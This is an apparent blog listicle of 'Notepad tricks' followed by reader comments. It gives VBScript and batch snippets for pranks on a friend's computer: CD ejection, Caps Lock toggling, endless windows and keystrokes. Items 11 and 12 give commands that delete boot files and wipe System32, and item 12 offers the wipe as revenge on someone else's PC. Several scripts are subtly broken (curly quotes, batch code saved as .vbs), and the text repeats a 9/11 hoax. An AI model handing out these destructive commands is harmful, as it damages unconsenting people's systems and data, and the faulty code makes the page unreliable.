15 Cool Notepad Tricks You Should Know

One of the first things that one learns while learning to use a computer is an application called notepad. Almost everyone knows what notepad is, and despite being a simple looking and functioning application what kind of a power it actually possesses. One can literally destroy someone’s PC using a notepad, one can also solve big problems using notepad. Ok, notepad does not do all that I said on its own, but still. It is the platform where one can write the initial code that can then be compiled and stuff. So, learning a few small notepad tricks won’t really hurt our chances of showing off or maybe getting a different prospective about what notepad can really do.

So, here are 15 cool Notepad Tricks you should try:

1. Continually Pop Out CD Drive Using Notepad

Don’t you think it would be fun if you could play with your friend by making his cd-drive pop again and again? Just enter the text below into notepad and save it as a .vbs file. Double click on the .vbs file to see it work.

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. Shutting Down Computer Using Notepad

Just imagine, if instead of pressing on start button and then on the shutdown button and then on the ok option, you could just double click on an icon to shut your system down. The Notepad trick code written below does just that. Just save the file as a .vbs file, and press it when you need to shut down the system.

@echo off
msg * System will now shut down
shutdown -c “Bye!” –s

3. Open Notepad Continually in Your Friend’s Computer

Just another Notepad trick to play with your friend’s system would be to set off a command which would open his/her notepad repetitively.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as a .vbs file and open it to see what happens.

4. Make A Personal Log-Book or A Diary

A special feature which allows us to make a log exists in notepad. Using it we can make logs of stuff as notepad will put the date and time for us whenever we open a specific type of Log file. For doing this, just type ‘.LOG’ in the notepad and save it under any name that you wish. Now whenever you’ll open this particular file, you’ll see that notepad automatically enters the date and time at which it is opened, and then you can make a log record and save the log.

4. making logs2

5. Matrix Effect

Now we’ll discuss a Notepad trick that can turn our command prompt into something that looks like it just came out of the matrix movie, or maybe something that looks like something straight out of a hacker’s system. For doing this, all you need to do is paste the following code in notepad

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

now you’ll need to save this file with an extension .bat , and upon clicking on the .bat file that you have created, you’ll see something like this.

5. Matrix effect result

A small tweak to customize this cool effect is that you can change the value in front of color, i.e. 02 in color 02 to any other value like 03 for instance; this will change the color of the text that appears in the command prompt.

5. Matrix effect result blue

Assign different values to the color, and have fun.

6. Toggle Capslock Repeatedly Using Notepad

You can play with someone’s computer, or maybe your own computer by writing a script that can toggle Caps Lock repeatedly.

Just copy and Paste the code written down below into notepad.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Now save it as a .vbs file and use it to see the magic.

7. Typing Slow

This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a .vbs file.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

It does nothing but introduces a small delay between different strings it types.

8. Converting Text to Speech Using Notepad.

Just copy and paste the code down below into notepad and save as a .vbs file.  When you play it, you’ll get a dialog box asking what you want the computer to say. Have fun.

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

8. audio from notepad dialog box

9. World Trade Center Attack

According to this trick, if you enter the flight number of the flight that struck the twin tower, i.e. Q33N in notepad and then change the font type to ‘wingdings’ and the font size to 72, then you’ll see a very strange thing.

It is a very cool trick, but unfortunately is a hoax as no such flight struck the twin towers.

10. Changing Header and Footer in Notepad

Go to File ->Page setup in notepad, and then in the fields for header and footer, type any of these codes.

10. header footer dialog box

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

11. Deleting Startup Files Using Notepad

A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it.

@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.

This will shut the computer down and delete files required to get your computer into a normal state.

Don’t try doing this on your computer unless and until you wish to loose all your data.

12. Deleting System32 Files Using Notepad

Wish to take revenge from someone? Just use this code, save it as an.bat file, and see what it does to that person’s system. It will delete all the System32 files required for the system to work in order.

Just paste the following in notepad and save it as a .bat file.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

13. Hit Enter Continuously

What if we wished to use the function of our enter button happen again and again, a better idea than to press it again and again would be to use the code below

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save it as a .vbs file and see its magic

14. Hit Backspace Continuously

Ok, we need the backspace button, but what is we wish to annoy someone and make it press itself again and again, mechanically it would require some work on our part, but if we just use this code, it would become a lot more easier.

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save as a .vbs file to make it work.

15. Typing Something Again and Again

A code to type something again and again is mentioned below, you can use it to write anything again and again and again, until you get it out of the loop.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop

save it as a .vbs file to make it work.

SEE ALSO: 15 Cool Excel Tips And Tricks

Important Note. If you get errors saying invalid characters, then try retyping the double inverted commas in the codes.

comment Comments 58
  • Liam says:

    you not doing it right

  • escapecoco JR'212Rocma says:

    SE N’AI QUE DES VIRUS faitte gaffe il bagdoor en croyan qu’il est le seul a coder ici!

  • anonymous says:

    nothing works for me except for the matrix one. I think It may be because I’m on my school’s laptop though

    • ggy says:

      same

    • Justin says:

      Omg same

    • Liam says:

      you not doing it right

    • jacob says:

      same

    • fer jetella says:

      i am in the computer from school and there are some that work

  • hi says:

    the matrix didn’t work

  • XXXPUSSY$LAYER says:

    gonna use this on my Principal’s email!

    • Fuck u says:

      Cool idea

  • tanmoy says:

    good

  • Akash Kumar Sharma says:

    .log kam nhi kiya kyo

  • Stubby says:

    the disk pop did not work

    i also do not have one

    • Coolerthanyou04 says:

      ah, I see

  • xyrxxy says:

    I love your chinese food, especially your large portion noodles

  • xyrxxy says:

    Love your chinese food, especially your large portion. noodles

  • pandor says:

    Is there a way to make it click repeatedly instead of type?

    • Rolika500 says:

      auto clicker

  • jjk says:

    i,m on an school computer

  • Mario Roger says:

    how Can yOU uNdO? WiTHoUt reSTartIng tHE cOMPUtEr?

    • Scriptfile says:

      Go to task manager and end the task “wscript.exe” or “vbscript.exe” on the procceses.

      • anonymus says:

        or before running .vbs and .bat files create a file which contains:
        taskkill /f /im wscript.exe
        taskkill /f /im cmd.exe
        save it as a .bat file
        when you run it it stops .vbs and .bat 😉

  • unknown h4ck3r says:

    i fuck3ed my own pc up

  • Marco says:

    World Trade Centre Trick is very bad taste. Also many of the other tricks are not tricks, but are just using the notepad to write code. Pretty poor work.

  • Keith Muwanguzi says:

    It works a little am impressed

  • X says:

    YOU VIRUS PROGRAMMER ! WHAT IS THE TRICK OF “Toggle Capslock Repeatedly Using Notepad” ? IT IS A VIRUS CODE ! YOU TERRORIST ! I WILL SAY EVERYBODY THAT I KNOW ON INTERNET THAT NOT TO FOLLOW A TERRORIST LIKE YOU, Nikhil Devgan .

    • elijad says:

      someone has had too much energy drink!

    • Am calm yes. says:

      BRO CALM DOWN LMFAO YOU CAN JUST RESTART PC WTF

  • raje says:

    For the disk pop the code gives me the following error:
    [Desktop]\Diskpop.vbs
    Line: 9
    Char: 30
    Error: Invalid Character
    Code: 800A0408
    Source: Microsoft VBscript compilation error

    Any solutions?

    • noah says:

      its your antie virus.
      to make it work you need to turn it off.

  • raje says:

    how to stop cd drive virus

    • nig says:

      turn off pc

    • Ab.K.F says:

      Go to the Task Manager and end this process: wscript.exe

  • _Yoshi_Guy_ says:

    Um… The Whole Q33N Wingdings Thing Isn’t Actually A Thing, Capital Q In Wingdings Is A Plane, 3 Is A Piece of Paper, And A Capital N Is The Skull, I Love Wingdings And So I Know What All Of The Characters Are.

    • Ya Boy Stephen says:

      When there all together it looks like a plane two buildings and a the death skull

      • MrG36 says:

        yeah but the Flight number was United Airlines Flight 175

  • johnny says:

    yeah, those ” from our pc doesn’t work either even if we put the missing one in. try again with the correct lesson. can’t wait, and thanks for the cool stuff

  • King says:

    save as a .bat

  • ModzGuides says:

    It Works At Least Some

  • Isai says:

    Hello, Does the loop code work for anything else instead of typing

    • oppppp says:

      yes it does

  • Hunter Pruett says:

    For the disk pop the code gives me the following error:
    [Desktop]\Diskpop.vbs
    Line: 1
    Char: 25
    Error: Invalid Character
    Code: 800A0408
    Source: Microsoft VBscript compilation error

    Any solutions?

    • Ronit says:

      Yes, see there is missing double inverted comas (” “)
      but, if u want to run any of this codes you have to change all double inverted comas to your default inverted comas cause VBscript can’t defined those circled comas you have to change it to your straight coma like (“) in all contents whr it used… then run it.

    • Ronit says:

      here is the code for u paste it in notepad and save to .vbs

      Set oWMP = CreateObject(“WMPlayer.OCX.7”)
      Set colCDROMs = oWMP.cdromCollection
      do
      if colCDROMs.Count >= 1 then
      For i = 0 to colCDROMs.Count – 1
      colCDROMs.Item(i).Eject
      Next
      For i = 0 to colCDROMs.Count – 1
      colCDROMs.Item(i).Eject
      Next
      End If
      wscript.sleep 5000
      loop

    • VBS says:

      Same Here

Leave a Reply